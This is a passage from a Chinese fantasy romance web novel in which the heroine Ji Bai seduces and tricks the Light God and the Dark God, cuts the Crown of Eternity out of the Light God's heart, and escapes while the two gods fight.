季白在神殿里陪了光明神好几天,总算哄得光明神愿意放她出殿玩一玩,离开前她再三保证只是出去转一转,一定会很快回来,还说要从外面移植几棵果树与花卉种在前殿的广场上。 她出去后又看见不少天使与精灵在草地上聚会,桌子上摆满了美酒与水果,扇动着翅膀的他们伴随着节奏欢快的优美乐声尽情舞动。 这里四季如春,果实硕硕,好似是一个没有悲伤,没有痛苦,只有无尽快乐的世界。 季白这一次没敢再加入他们,只是一面以假装闲逛的名义悄悄记下整座神宫的地图,方便她日后取得永恒之冠后逃跑,又一面在假装摘取果实的时候偷偷听他们的谈话。 她对神宫的了解还是太少,甚至到目前为止都还不知道该如何离开这儿,也不知光明神的永恒之冠放在哪儿。 这几天她悄悄把她和光明神居住的神殿都逛了一遍,除了她的房间家具齐全外,其余的地方都空空荡荡。 光明神唯一的家当好像就是那把椅子。 “你上次去凡间好玩吗?天国连接凡间的门好久都没有开过了,可惜我上次没有抢到这个差事下去看一眼。” “你这么好奇啊,那我有个法子能帮你悄悄打开门往下面瞧上一眼。” 季白听到这儿立即把耳朵竖起来了,正在她全神贯注时身后却突然有人拍了她一下。 季白立时吓了一跳,回头一看就看见了一张熟悉的脸。 “特尔?!你怎么在这儿?” 特尔冲她挑眉笑了笑,脸还是那张脸,季白却敏锐地察觉出眼前的人有点不对劲。 他不是特尔。 季白往后退了一步,准备随时逃走。 “特尔”敏锐地注意到季白的小动作,嘴角的笑意越发大了。 “你很敏锐嘛。”他步步靠了过来,“这么快就发现我不是他了?” 随着他的靠近,季白立时察觉到了一丝熟悉的气息,他的眼神与嘴角的笑意都像极了一个人。 “恶魔先生?!”季白不可置信地用唇形说出他的名字,没敢发出半点声音。 “你……你怎么会来这儿?” 赫瑞特是疯了吗,这里可是光明神的神宫,他都敢一个人悄悄潜入,他就不怕被光明神发现吗? 季白立时紧张地左右四看,生怕被人发现。 “这么紧张做什么?”赫瑞特笑着贴近她,“除了你之外没有任何人发现不对。” 季白想到神殿里的醋罐子,默默后撤了一步。 她可不想等会回去又面对一个阴阳怪气,嘴巴无比刻毒的光明神。 赫瑞特注意到季白后撤的步子,“特尔”那双黄色的眼眸中闪过一缕绿芒,“怎么,来了神宫几天就要躲着我了?” 季白连忙对他做出一个噤声的动作,随后又无比紧张地指了指天。 赫瑞特轻笑一声,“这么怕被他发现啊?” “放心,不会让你被发现的。” 季白对赫瑞特的话是一百个不相信,这家伙简直没有信用度,之前就故意让泊里看见她和他亲密,还有之前在学院里的时候。 赫瑞特肯定知道泊里就是光明神,也知道光明神一直在神宫观察她,他还是故意与她亲近,故意让光明神看见。 季白正想着该如何尽快打发他走时,却见他突然抬手放了一团黑雾,下一瞬就见神宫无比明媚的天空全被这团黑雾所遮掩了,与此同时许多青面獠牙的恶魔从黑雾中涌了出来朝着草地上的天使与精灵扑了过去。 季白瞬时睁大了眼睛,眼看恶魔就要咬上天使的翅膀,下一瞬她就被赫瑞特拉入了怀中,等她再睁开眼就来到了一座寂静的宫殿。 赫瑞特倾身压在她的身上,炙热的温度隔着布料传至她的肌肤,热得她冒汗,可后背又抵在冰冷的墙上,季白一时间仿佛体会到了冰火两重天。 “你闹出这么大的动静到底要做什么?”季白没声好气地质问。 赫瑞特轻蹭着她的脸颊,轻声说:“想你了。” 季白一时有点无语,如果不是打不过他,如果不是还有任务,她真想痛揍他一顿。 “你不想我吗?”赫瑞特漂亮的绿眸盯着她的眼睛,“还是说……你喜欢上了光明神?” 季白手指捏了又捏,忍着气说:“你能别捣乱了吗?我马上就能拿到……” 她的话还没有说完就被赫瑞特堵住了唇,“没一句是我爱听的,这张嘴果然还是亲起来比较甜。” 季白心里还有气,因而并不配合他,反而还重重咬了赫瑞特的舌头。 这一下她并没有收着劲,霎时间嘴中就散开一股淡淡的血腥味,赫瑞特轻嘶了一声,从季白口中退了出来,但他并没有生气,反而还心情很好地逗弄季白。 “生气了?” 季白冷哼一声别过头去不理他。 赫瑞特偏头凑到季白的眼前,季白又把头转到另一边,赫瑞特又和小狗一样跟着凑到他面前,阴森诡谲的绿眸都压不住他眼中的笑意。 “我知道你着急为我拿到永恒之冠。” “我可以帮你。” 赫瑞特现在是真的信了季白先前的话,他相信季白是因为他而想要永恒之冠,也相信季白真的喜欢他,深爱他。 他们都做过那样亲密无间的事了,当时她的神色是那样的愉悦,身体又是那样的热情,她都愿意让他在她的心里种上他的小蛇,她怎么会不爱他呢? 确定了季白爱他的赫瑞特,眼下对季白可以说是无限包容,无论她做什么,他都不会生气,想要天上的月亮他也帮她去摘。 哪怕是让他学狗叫,他都会笑眯眯地汪一声。 季白听到赫瑞特说愿意帮她时,眼神总算重新落回了他的身上。 “你还不知道永恒之冠被光明神放在哪儿吧?”赫瑞特眯着眼睛说,“我知道。” 97 第97章 “在哪?” 赫瑞特笑着把脸往季白面前凑了凑,绿色的眸子亮晶晶地盯着季白。 “亲我一下,我就告诉你。” 季白的舌尖舔了舔口腔里残存的血迹,捧着他的脸踮脚吻了上去,唇与他的唇轻轻碰在一起,像是两团柔软的棉花撞在了一起,又很快因为弹性而分开。 在季白撤离的时候,赫瑞特蓦地按住了她的后脑勺加深了这一吻,舌尖探入唇中勾勒舔舐着她唇中的每一个角落,舌与舌的触碰缠绵中勾起阵阵震颤般的爽感。 亲吻时,赫瑞特悄悄睁开眼睛看着她,她脸颊的红晕,紧闭的双眼都让他无比着迷,让他想要现在就把人带回深渊藏在自己身边,不让任何人接近,不让任何人打扰,只有他和她两个人。 他缓缓松开她,滚烫的手轻抚着季白微微喘息的唇,红唇因刚刚的亲吻而潋滟,眼中绿意渐深,胸腔里的那颗心越跳越快,一个吻根本就不够,他还想要更多。 赫瑞特闭上眼缓缓低下头靠近她的唇,想要再次感受刚刚的美好,却被一根柔软的指腹抵在了唇上。 “你刚刚说亲一下。”季白的眼尾还有一抹薄红,但眼神却很清亮,“快告诉我,不然我一直不回去会被光明神怀疑。” 赫瑞特遗憾地看了一眼季白的唇,随后笑眯眯地说:“永恒之冠啊,对光明神来说可是一件非常重要的东西呢。” “这么重要的东西当然也放在最要紧的地方了。” 季白见赫瑞特这种时候了还卖关子,忍不住抬手掐了他胳膊一把。 “别卖关子了,到底放在哪?” 赫瑞特轻笑一声,抬手按上她的心口,季白不解地看着他。 赫瑞特压低了声音,说:“心脏,他放在他的心脏里了。” 季白怔了一下,永恒之冠竟然藏在光明神的心脏中? 若非赫瑞特告诉她,她就算找一辈子都找不到。 “怎么这幅表情?”赫瑞特滚烫的指腹在她的心口上打着转,“是没想到它藏在光明神的心脏里,还是在苦恼要如何取出它?” 季白按住赫瑞特乱动的手指,问:“恶魔先生能知道永恒之冠藏在哪,就一定知道应该如何拿到它吧?” 赫瑞特冲她轻轻一笑,被她按住的手指如小蛇般在她的心口滑动着,“当然是划开他的胸膛挖出他的心了。” 季白心中一颤,差点脱口而出一句,那他会死吗? 但季白忍住了。 她不能在赫瑞特面前表现得很担心光明神。 她捏了捏指尖,垂下眼帘换了个说法。 “那是光明神……我和他实力相差巨大,如何……如何能划开他的胸膛,恐怕我刚拿出小刀就被他击飞了。” “我帮你啊。”赫瑞特挑起季白的下巴,那双诡谲的绿眸定定瞧着她,像是盘踞在枝头诱惑亚当吃苹果的蛇。 赫瑞特另一只手向上一翻掌心就多出一把纯黑的匕首,刀锋锋利可见寒光,匕首的把手上嵌着一颗硕大的黑宝石。 赫瑞特把匕首放到她的手里,轻声说:“匕首上有黑暗神的力量,只要能用它碰上光明神就可令光明神短暂的失去行动能力,大概为一刻钟的时间。” 匕首上的冰冷寒意浸得季白的手都凉了。 她要用这把匕首掏出泊里的心吗? “怎么,不忍心?”赫瑞特幽幽的声音从上首传来。 季白闻言攥紧了匕首,声音清越而冰冷。 “没有,我只是在想既然能让光明神暂时失去行动力,是不是也能杀了他?”季白抬眸笑着说,“如果光明神消失,天下就是我们黑暗神的了。” 赫瑞特对上这双冷冰冰,不含任何情愫的眼眸时,心中竟泛起了一抹不合时宜的凉意。 他应该开心的,开心季白对光明神的毫无情意,开心季白对光明神的不留恋和残忍,这是他梦寐以求的。 可是在这么一刻,他的心中竟泛起了一丝感同身受的悲凉,他不可控制地想,季白能这样残忍的对待光明神,那将来……将来会不会有一天也会这样残忍的对待他呢? 这样可怕的想法刚一冒头就又被赫瑞特压了回去,不会的,季白爱他,她不会这样残忍地对待自己。 赫瑞特的唇角勾出一抹笑意,但能看得出来,对于季白的回答他并没有那么开心。 季白心思敏锐自然也察觉到了,但比起这一点点的不开心,如果她流露出一星半点对光明神的同情,他恐怕才会真的立刻发疯吧。 可他的目光在看着这双清泠泠的眼睛时,又没有了自信,就像是一个走在高空铁丝上的人迫切地想要抓住点什么。 他低下头又吻上了上去,想要确定她对他的爱。 天边的一颗太阳渐渐西移,季白推了推身前的人,低声说:“我走了。” “等等。” 季白回头看他。 “我在神宫东南角的果林等你,等你拿到永恒之冠就来找我,我带你离开。” 季白看着赫瑞特含笑的绿眸,歪了歪头,笑得无比纯良又真诚,“好,那你可要一直等着我,千万不要丢下我一个人离开。” “我会一直等你,直到等到你。” 季白告别赫瑞特后就一路往神殿赶,她还没走几步就落入一个温暖的怀抱。 “你去哪了?” 他紧切的拥抱使季白的肌肤越发贴近她怀中那柄冰冷的匕首,而匕首上的魔法使他毫无察觉。 耳畔是他那颗深埋在胸腔之内不断跳动的心脏,她忍不住贴得更近了一点,她想要的东西……就在这儿。 季白下意识的贴近却被光明神误以为是她被吓到了,是她在依赖。 他搂在她腰间的手紧了紧,轻抚道:“没事了,吾在这儿。” 季白微微垂下眼帘,随后紧攀着他的腰装作一副十分害怕的样子,瑟瑟发抖地说:“光明神,他……他是不是又追过来了?” “我到底犯了什么不可饶恕的罪孽要一直被恶魔缠身?”季白一面说着一面紧搂着他的腰,“我真的好怕,我怕我再也见不到您了。” 光明神低垂的金眸中闪过一缕暗芒,但还是轻拍着季白的后背轻声安抚。 “别怕,吾在这儿,谁也不能伤害你。” “告诉吾,刚刚发生了什么?”光明神低沉而沙哑的声音带着几分蛊惑,他还是不能完全信任季白。 他刚刚很确切地闻到了赫瑞特的气息,却无法确定他的位置,与之一同消失的……就是她。 他以为她会被赫瑞特带走,没想到竟又出现在她的面前,还哭得这般可怜。 他不受控制地意动,却也明白这极有可能是恶魔的眼泪。 他动作温柔地轻抚着她的发丝,眼底却是一片冷意。 他们刚刚又做了什么? “我原本在果园里摘果子,却突然看见天空一黑,紧接着就有许多青面獠牙的恶魔扑了上来。”季白说到这儿,身子抖得更厉害了,似是真的受到了很大的惊吓一般。 “我想要上去帮忙,可下一秒我就晕了过去,等我再次醒来就一个人躺在空荡荡的宫殿。”季白紧攥着光明神胸前的衣襟问,“天使他们都没事吧?都是我害得,如果不是我,恶魔也不会闯到神宫来。” 光明神捧起她的脸,细细观察着,目光向下落在她诱人的红唇上,指腹轻轻碾磨着唇瓣。 唇,比她今天出去时要艳,要肿,上面似是还残留着让他讨厌的气味。 一种无法抑制的暴怒从心底涌出,就像是被人偷了心爱财宝的巨龙。 他的指腹逐渐用力,声音也变得沙哑。 “他吻你了?” 季白眼神惊慌又无措地看着他,“我……我不记得了。” 这幅可怜的样子又看得人心软。 罢了,回来就行。 怎么能是她的错呢,都怪该死的赫瑞特阴魂不散。 “我醒来时一个人也没有。”季白抖抖索索地说着,又拽了拽他粗壮的胳膊,轻声说,“求您信我。” 光明神抬手将她抱进怀里,下一瞬两人就又回到了神殿的神座上,她跨坐在他的腰上,他的手则如同藤蔓般将她紧紧圈在怀中。 “你身上沾染了吾不喜欢的气味。”光明神仰着头捧着她的脸说,随后就按着她的后颈吻了上去,似是要用自己的气味盖掉别人的气味一般。 季白很快被他吻得腿软,整个人无力地瘫软在他的怀里,任由他的手检查过她全身上下的每一寸肌肤,随后探入下方检查摩挲。 只不过……那柄匕首始终没有被发现。 它就像是一团空气一般除了她自己,没有第二个人能看见。 “看着吾。”光明神命令式的声音从上首传来,季白抬起头看他,眼中被他的手激得蕴起一层水雾。 “舒服吗?” 季白红着脸点了点头。 “那就不要离开吾,留下来一直陪着吾。”他的声音低沉而又带着些许颤意,可他的身体又是那样的果决,就连衣服也没有乱多少,好像意乱情迷的人只有季白一人似得。 季白轻声应了一句好,随后沉下腰整个人贴在他的身上,耳朵放在他的心口听着他急促而有力的心跳。 那里有她想要的东西,可这一瞬她想的却是原来他的心也和她一样乱了。 他突然抓着她的手拉到自己的脸边,指腹再次碰到那张冰冷的黄金面具。 “你想看看吾的脸吗?” 98 第98章 季白的手指微微蜷了蜷,喘息着轻声说:“凡人不能直视神颜。” 光明神的金眸直勾勾地盯着她,那双握着她的手滚烫到仿佛能将她融化一般,“你是受神明宠爱的孩子,可以看。” 他话落又吻上季白的唇,炙热的呼吸落在她的脸上,湿漉漉的吻顺着嘴唇吻上了脸颊,最后又停在耳畔,掌心下他结实而富有弹性的胸肌剧烈地起伏着,暗哑的带着情欲的声音在她的耳畔响起。 “你和吾连最亲密的事都做了,还用顾忌这一条规矩吗?” “难道你不想看看此刻吻你,和你做的男人长什么样子吗?” “你对吾,就半点也不好奇吗?” 她的手微微抖了一下,光明神脸上的黄金面具就“哐当”一声掉在了地上,她侧眸看去就对上了一张俊美无铸的脸。 比玫瑰艳丽,比天使圣洁,这张脸胜过世间的千千万万。 他漂亮的金眸直勾勾地盯着季白,在汹涌情欲的遮掩下是些许紧张,这让季白感到不可思议。 他在面对她的时候,也会感到紧张吗? 她还以为他永远都是胜券在握的沉稳与自信。 “还满意你看见的吗?”光明神轻声问。 季白轻抚着他刺激得艳红的眼尾,如玫瑰花般娇嫩的唇瓣微张着,没有了冰冷面具的遮掩,这张漂亮的脸上写满了情欲,全然不似之前的淡然。 “这张脸……很像我认识的一个人。”季白轻声说着捧着他绯红且滚烫的脸庞轻吻了下他的唇,她立时就察觉到他的心跳似是漏了一拍,绯红的双颊越发红艳,像是喝醉了酒。 季白突然明白光明神为什么会在面对她时要带一个面具了。 他敏感的,容易红的脸使他看起来实在不端庄,不威肃。 他之前是在害怕吗,害怕她轻易看出他的情动与欲望,所以用面具遮掩他的脸? 她突然很好奇他这具被层层衣服包裹起来的身体是不是也会如他的脸一样浮现出暧昧动人的红。 他顶着一张艳红的,美丽的脸轻蹭着季白的鼻尖。 无论他的头如何摆动,那双金眸都始终盯着她的眼睛,似是一头紧盯着猎物的雄狮。 “如果吾说……吾就是他呢。” 季白的手指颤了颤,不明白光明神为何会突然愿意承认他就是泊里了。 她本能地不想听他说下去,于是浅笑了一下,说:“怎么可能呢,您怎么可能会是泊里呢?” “没有什么不可能。”光明神钳住她的下巴让她无处可逃。 他的动作与语气还是和之前一样的强势与不容抗拒,可当看见他通红的眼尾与脸颊时,威慑的气场就散了一半。 “季白,吾很想听你喊吾的名字,而不是冷冰冰的光明神。” “泊里……”季白轻声唤了一句。 泊里的胸口微微一颤,随后就压着她的后脑勺吻了下来。 他紧抱着她的腰身凶狠地进攻。 季白的手抓着他胸前的衣襟,只觉自己好似有力无处使,他的手臂如同两条粗壮的藤蔓般紧紧裹着她。而她则如同一团软烂的泥瘫在他的怀里,承受着每一次冲过来的撞击。 “我喜欢你这样喊我的名字。”他的眼睛亮得像是天上的太阳,“多喊几声好不好?” 不知是季白的哪个动作刺激到了他,只听他突然闷哼一声,与她肌肤紧贴的胸膛剧烈起伏着。 季白抬眸看了过去,只见他双颊绯红,眼神失焦,显然是处在意乱情迷,不可自抑的状态。 眼下……是她动手的最佳时机,季白的手刚刚摸上冰冷的匕首,泊里却又突然抱紧了她,用粗喘又沙哑的声音问:“留下来,做吾的神后,好不好?” “吾的生命,力量乃至灵魂都将与你共享,吾会为你奉上永恒的忠诚与不渝的爱。” 季白的心尖颤了一下,想要抬头看他一眼,却终是低着头轻声在他耳边说,“抱歉,我不能答应你。” “为什……”泊里的话还没说完就听得“噗哧”一声是利刃刺入血肉的声音,极致的快感混着极致的疼痛一同流遍泊里全身上下的每一寸肌肤,这是他至死也不会忘记的感觉。 他金色的眼眸顿时瞪大了,粗喘的呼吸在寂静的神殿里格外明显,他不可置信地低头看着刺入体内的匕首,红艳的眼尾越发红得刺眼,似是眼尾也沾上了血。 “你要杀吾?”他瞪着眼睛问她,随后又低头嗤笑了一声,再次红着眼不甘心地质问,“你想要吾死?为什么?” “吾对你还不好吗?”他的声音逐渐尖刻,“你想要的吾都会给你,你到底还有哪里不满意,你就那么喜欢赫瑞特吗?他答应给你什么,你说啊,只要你要,吾都给你,你为什么……要杀吾?” “你骗吾,你又骗吾。” “季白,你压根就没有心。” 赫瑞特给的匕首很好用,哪怕泊里都激动成这样了,也只是胸口无比剧烈的起伏而已。 季白神色平静地拔出匕首,眼神却认真地看着泊里。 “我不是杀你,我只是需要取一样东西。” 她问过赫瑞特,这把匕首不会杀死他。 季白说着又把匕首对准他的心脏,这把匕首很锋利,如同割纸一般轻而易举地在他的心口划开了一道可以伸进去一只手的口子。 肉/体的伤亡并不会致使神明死去,但神明也会痛,甚至因为他们远超常人的敏感,疼痛对于他们而言胜过常人的百倍。 泊里绯红的脸颊顿时变得无比苍白,豆大的汗水顺着额头落下,但他没有喊一声。 他粗喘着问她:“你要什么?” 季白把手伸进他的胸口开始摸索,指尖突然碰到了一块柔软的,还会砰砰跳的东西。 是他的心脏吗? 滑腻而柔软的触感让她忍不住想要立刻将它丢开,但她又不得不继续在血肉与内脏中寻找永恒之冠。 “你在摸我的心。”泊里的呼吸似是恢复了平静,可声音里还带着微不可闻的颤抖,“你想要我的心?” 不知是不是季白的错觉,她竟好像从他颤抖的声音中听到了几分变态般的期待。 季白冲他笑了笑,“我在找永恒之冠,伟大的光明神不如您直接告诉我,它在哪儿,您也能少受点疼。” “永恒之冠?”泊里的声音微微扬了扬,“你要找永恒之冠?” 他突然大笑起来,笑得胸口止不住地流血,鲜红的血顺着衣摆滴落在地汇成一条小河。 “你知道永恒之冠是什么吗?” “我没兴趣知道。”季白说,“我需要它。” “你想要它,你为什么不直接说呢?”他垂在腿边的手指微微动了动,似是想要抬手摸摸她的脸,“它本来就属于你。” 季白摸索的手一顿,不解地看着他。 泊里还在笑着,只是这双金眸破碎而悲哀。 “它是凝聚了吾一部分神力的神器,是属于吾神后的神冠,你想要,吾愿意给你,也只给你。” 季白看似面色平静地垂下眼帘,实则心里又在骂赫瑞特了。 该死的赫瑞特又耍她,他肯定知道永恒之冠是光明神给予神后的神器,可她问他时却什么也不说,只告诉她藏在哪儿。 如果季白当时得知有第二种办法,她未必会选择如此血腥的方法完成任务。 她长呼了一口气,如今做都做了,后悔也不来及了,不如加快速度。 “往左。”泊里的声音从她的上首传来。 季白诧异地抬眸看了他一眼,听着他的指挥把手微微往左移了移。 “再深一点。” 季白伸出手指勾了勾。 泊里忽而闷哼一声,眉头都皱在了一起。 “是在这儿。”泊里说,“摸到了吗?硬硬的那块小石头就是它。” 季白闻言用力一挖就将*它从泊里的心上挖了出来,手中小小的石子在一接受到外界的空气时,顿时变成了一个无比闪耀的王冠。 季白把它收好后,冲着泊里灿然一笑。 “谢谢光明神帮忙,不然我也不会这么快就找到。” 她说完就从光明神的身上跳了下来,泊里瞬时急了,问:“你去哪儿!” “你收下了吾的永恒之冠就该留下做吾的神后。” “我只想要永恒之冠不想做你的神后。”季白笑眯眯地说,“我喜欢赫瑞特,这神冠也是为他偷的呢,他还在神宫东南角的果林等着我呢。” “光明神您很好,只是我不喜欢。” 季白刻意加重了语气说。 “我只喜欢赫瑞特。” 她说完也不顾光明神作何反应,转身就跑出了神殿,她一出殿门就立即从背包里取出那顶可以帮助她隐形的帽子。 傻瓜才要去找赫瑞特。 她刚刚故意把赫瑞特藏身的地方告诉光明神,还又用那般激烈的言辞刺激他,等会他肯定要去找赫瑞特的麻烦。 只待他们二人大战时,她就可以趁机偷偷离开神宫,等赫瑞特发现她骗了他之后,关于赫瑞特的第一个任务她也能完成了。 季白这么想着,心情也就越发愉悦,竟还兴致勃勃地跑到路边的果园里爬上树摘桃儿吃了。 突然,只听得神殿的方向传来一声巨响,紧接着季白就看见一道白光朝着东南角的方向飞去。 她还没听见那边打起来的动静,忽而就觉心口一痛,痛得她连手里的桃儿都掉了。 99 第99章 心口越来越疼,好似有人在用钢针狠狠扎她的心,又好似是被猛兽撕咬一般。 季白顿时面白如纸,汗如雨下,疼得她连一丝力气都使不上。 “砰”的一声,她从树上重重摔了下来,溅起一片粉尘,额角都磕出血来。 可对于季白来说身上的摔伤还不如心上疼痛的万分之一。 好疼好疼。 疼得她完全没有力气想别的事情,就连呼吸都觉得无比艰难,就在季白快要疼得晕死过去时,心口的疼痛稍有所缓解。 她如同烂泥般瘫软在地,身上的衣服已被刚刚疼出的冷汗全部浸湿了,整个人像是刚从水里捞出来的一样。 她趴在地上重重喘息着,眼神不解地看向自己的心口,她的心为什么会突然这么疼,是谁在对她下手? 季白很快就知道了答案,一道熟悉的声音在她耳畔响起。 “很痛吗?” “这样的疼痛不及吾刚刚的万分之一。” 他话音刚落,季白稍有所缓和的心脏又开始刺痛,痛得她面目狰狞,青筋暴起,就在她快要受不了的时候,光明神的声音再次响起。 “吾稍后回神殿时要看见你在,否则你知道后果。” 那股钻心般的疼痛再次消失,与此同时,季白就听见一声巨响从东南角的方向传来。 他们打起来了。 “赫瑞特,你怎么敢擅闯吾的神宫?”泊里手持神剑眼神冰冷地看着他,他每走一步,身上就多出一部分的金色铠甲,待他走到赫瑞特面前时,一套完整的黄金战甲已经穿在他的身上,勾勒出他强壮且完美的身材。 赫瑞特亦显露出了自己的真容,但他并没有穿铠甲,而是穿着一件做工繁复,装饰华丽的漂亮礼服,好似他不是来打架的,而是应邀参加一场盛大的舞会。 “怎么是你?”赫瑞特眯了眯眼,问,“季白呢,你把季白怎么了?” 泊里是何等聪慧,他一听这话就明白了季白并未来找赫瑞特,也瞬间明白了季白的用意。 她哪里是喜欢赫瑞特,分明是想借他的手除掉赫瑞特。 泊里这颗愤怒悲伤的心竟诡异的得到了缓解,她不喜欢他,但也同样不喜欢赫瑞特。 赫瑞特见泊里不语,以为季白行刺失败被泊里发现了,绿眸中顿时闪过几分焦急与厉色。 “你到底把她怎么了?”赫瑞特抽出自己的武器直指泊里,神色阴冷地说,“泊里,不要忘了我们当初的约定,季白现在喜欢的人是我,你该放了她。” 泊里冷笑一声,“你也有脸同吾提约定,你与涅塞斯不早就将约定视若无物了吗,你们以为你们私下里做的事吾真的全然不知吗?” “既然你们能毁约,吾为何不行?” 若论战力,三神中无疑以泊里最强,在正面战场上谁也不是他的对手,但赫瑞特与海神也有其各自的优势。 赫瑞特擅长隐匿,幻阵,只要他不愿意,世上无人能抓住他,这也是他能潜入神宫而不被泊里发现的原因。 赫瑞特轻笑一声,“泊里,你不要自己神生失败被自己的信徒背叛就把一切怪到我和涅塞斯的头上,我和涅塞斯可没害你,我们充其量……” 赫瑞特嘴角的笑容越拉越大,“只是袖手旁观而已。” 若论嘴上功夫,十个泊里也说不过赫瑞特,毕竟他是以蛊惑人心而闻名的黑暗神,甚至于……在很久以前的诸神时代,他这张嘴甚至能让一位神明去死。 泊里废话不多说抬手挥剑朝赫瑞特劈来,赫瑞特连忙闪身躲避,仗着灵巧的身姿,一时间两人是难分高下。 泊里与赫瑞特是老相识知道他狡猾又灵巧,比一条泥鳅都难抓。 他眼眸闪了闪,忽而站住不动看着对面的赫瑞特道:“赫瑞特,你猜我为何会知道你在这儿?” 赫瑞特绿色的眼眸闪了闪,若论武力他或许不及泊里,但论智力他比他聪明得多。 当他没有等到季白反而等来了泊里时,他就察觉出有问题了。 只不过比起那个让人心碎绝望的答案,他更愿意相信是泊里发现了季白的阴谋,是泊里用手段从季白口中得知他们约定的地址。 向来聪敏狡诈的赫瑞特如今宁愿自己是个傻子,也不愿相信是季白骗了他。 她不会骗他,她爱他。 他在心里这么安慰自己,然而泊里的下一句话却直接戳破了他摇摇欲坠的美梦。 “是季白亲口告诉吾的。”泊里说,“她告诉吾,你一直缠着她,让她很苦恼。她不喜欢你,但为了保命又不得不与你虚与委蛇。” “她好不容易来到了神宫,以为终于能摆脱你,没想到你又追来了。” 泊里脸上笑意越深,“你知道吗?今天她从你这儿离开时,吓得一直抱着吾的腰哭呢,也是她告诉吾你在这儿等她,让吾消灭你。” 赫瑞特握紧了手中的黑暗权杖,咬牙切齿地说,“不,不可能,是你骗我。” “你撒谎!”赫瑞特脸上淡然的神色变得狰狞,“季白对你才是虚情假意,她从来都不喜欢你,来找你只是为了偷你的永恒之冠。” 说到这儿,赫瑞特轻笑一声,似是又找回了些许自信。 “你还不知道吧?”赫瑞特说,“季白之所以想要你的永恒之冠也是为了我,她亲口告诉我,要把它送给我。” 泊里听了这话,丝毫不急,反而还气定神闲地问:“是吗?那你把它拿出来看一看啊?” 他的永恒之冠是丢了不假,但也绝不可能在赫瑞特的手上。 “赫瑞特,你什么时候也学会自欺欺人这一套了?”泊里声音低沉,竟也带了几分蛊惑的意味,“你可是狡诈的化身,谎言的代名词啊,赫瑞特,吾不信你真的看不出季白对你的虚情假意。” 泊里话音刚落,就见赫瑞特面色一白。 其实他一直都知道,只是他心甘情愿一头栽进季白给的谎言中。 她的谎言与演技对他而言都太过拙劣,但因为表演者是她,他就愿意信。 泊里嘴角轻轻一扬,又道:“赫瑞特,你了解吾,如同吾了解你一般,吾何时说过谎?” 他自诞生以来就是代表光明与正义的神明,仁慈与宽容是刻进他骨血的存在,谎言更是他一生所厌。 天下间所有人神都有可能说谎,唯有他不可能。 赫瑞特抬眸看向泊里,绿眸再不似之前的神采风扬,是心死如灰的孤寂与冷意。 泊里握紧了手中的神剑,知晓赫瑞特心绪已乱,此时是重创他的最佳时机。 他提剑冲了上去,眼见神剑就要刺破赫瑞特的心脏,下一秒就见眼前黑影一闪,赫瑞特已近身来到泊里的身后,他的手掌停在泊里的心口,嘴角噙着一抹诡异的笑。 “泊里,你的心口被人剥开过。”他低低笑着,“是季白做的吧,你的永恒之冠是不是已经丢了?” 泊里的话是对他造成了影响,但他也绝不是傻瓜,抛开季白世间无一人能骗到他。 哪怕泊里说得是半真半假的话。 他是输了,但泊里也未必赢了。 他们两人都是季白的棋子与工具罢了。 泊里眼中闪过一瞬间的慌乱,紧接着他挥剑就朝赫瑞特的手臂砍。 赫瑞特飞速闪躲,蛊惑的声音从四面八方传来。 “泊里,这一轮我们谁也没有赢。” “不如我们合作如何?合作抓到她。” “难道你甘心看着季白最后属于别人吗?” 泊里挥剑的手略微一顿,抬眸对上赫瑞特那双幽幽的绿眸。 “怎么样?” “我们联手吧。” “你的战力加上我的脑子,定能无往不胜,二分之一也好过两手空空,不是吗?” 赫瑞特的话如同蛛丝般死死缠住了他的心脏,与之共享,还是……遗憾放手? 季白的心口一阵痛一阵不痛,当她靠近神殿时,心脏就会舒服很多,她知道这是光明神在逼她回去,但她宁愿疼死也不会回去。 她悄悄赶到神宫的天门附近,静待天门打开,东南角那边的战火似是停了,可始终不见赫瑞特的身影,他不会真被泊里打死了吧? 季白正在胡思乱想时,突然看见一位眼熟的天使带着另一位天使过来了。 季白盯着看了一会方想起他们的身份,是她之前偷听时说他有办法打开天门的天使,季白朝左边的天使看了一眼,左边的天使正是当时好奇的那一位。 季白顿时雀跃不已,他们是不是要偷偷开启天门? 季白这么想着也连忙跟了上去,只见其中的那位天使张开双臂对着门高声吟唱,淡白色的光芒从他的手中散开投射到紧闭的天门上,下一刻,就见天门缓缓动了动,随后就开了一条缝。 季白总算明白当初在光明神殿听到的乐声是从哪儿来的,原来是天使在门后的吟唱。 待门打开一条能容一人通过的小缝时,季白想也不想就连忙溜了出去,幸亏她跟着涅塞斯学了不少魔法,因而今日方能乘风缓缓向下落去。 在季白落至一半时,心口又开始疼了起来,这一次比之前的所有总和加一起还要疼,似乎是有两个人用带着铁刺的锤子凿她的心一般。 疼得季白顿时两眼一翻昏死过去,魔法没人掌控骤然失效,肉体凡胎的身体就这样从半空中跌了下去。 100 第100章 清冷的月华照在永不见日的深渊,黑色的岩石凑成高低不平,寸草不生的地面,偶有开裂的岩石下是翻涌沸腾的赤色熔浆。 这儿是恶魔生活的地狱。 再往下是一片陡然下沉百米的深谷,谷底生长着如血般艳红的彼岸花,这是地狱特有的植物,也是唯一的植物。 一头威风凛凛的三头犬站在一座崭新的城堡前对着满园的彼岸花训话。 “你们都听好了,等会主人会带着神后回来,这可是神后第一次来,你们等会都开得漂亮点,听见没有,拿出你们最好的……” 三头犬话还没说完就突然闻到了自家主人的气息,它眼睛一亮,吐着舌头就兴高采烈地奔了出去。 “主人主人,您把神后带回来了吗?” “咦,我怎么没闻到。” 赫瑞特面色铁青,紧抿着唇一句话也不说。 纵然这只傻狗再傻也看出了不对劲,它趴下身子把屁股后面的尾巴垂下,低声问:“主人,难道出了什么意外吗?” 赫瑞特轻笑一声,笑得三头犬心底直发毛。 这到底是怎么回事,赫瑞特上一次回来还一脸兴奋地说他终于成功了,说未来的神后有多么多么的爱他,怎么这一次又是一脸丧气的样子? 三头犬联想到上一次赫瑞特的反常,忍不住在心中琢磨,主人……不会又被骗了吧? “呵,她骗我。” 三头犬:果然…… 赫瑞特笑着笑着,低声说:“她又骗我,什么爱我全都是假的!” 三头犬顿时感觉头皮发麻,得,它这位以狡诈而闻名的主人竟然又一次被骗了。 还是被同一个人骗两次…… 作为一只狗主人伤心难过时,它还是需要尽到狗的责任。 它抬起头用柔软的舌头轻舔赫瑞特的手指,试图安慰他。 赫瑞特却突然攥紧了拳头,若非三头犬躲得快,它的舌头非得被他攥在手里不可。 它不解地抬头看向赫瑞特,就见赫瑞特咬着牙愤愤说:“妈的,老子再也不会上她当!我再信她,我是狗!” 三头犬眨了眨眼,吐出一口火息,总觉得这话好像有点过于熟悉,上次赫瑞特被骗时,他好像也是这么说的。 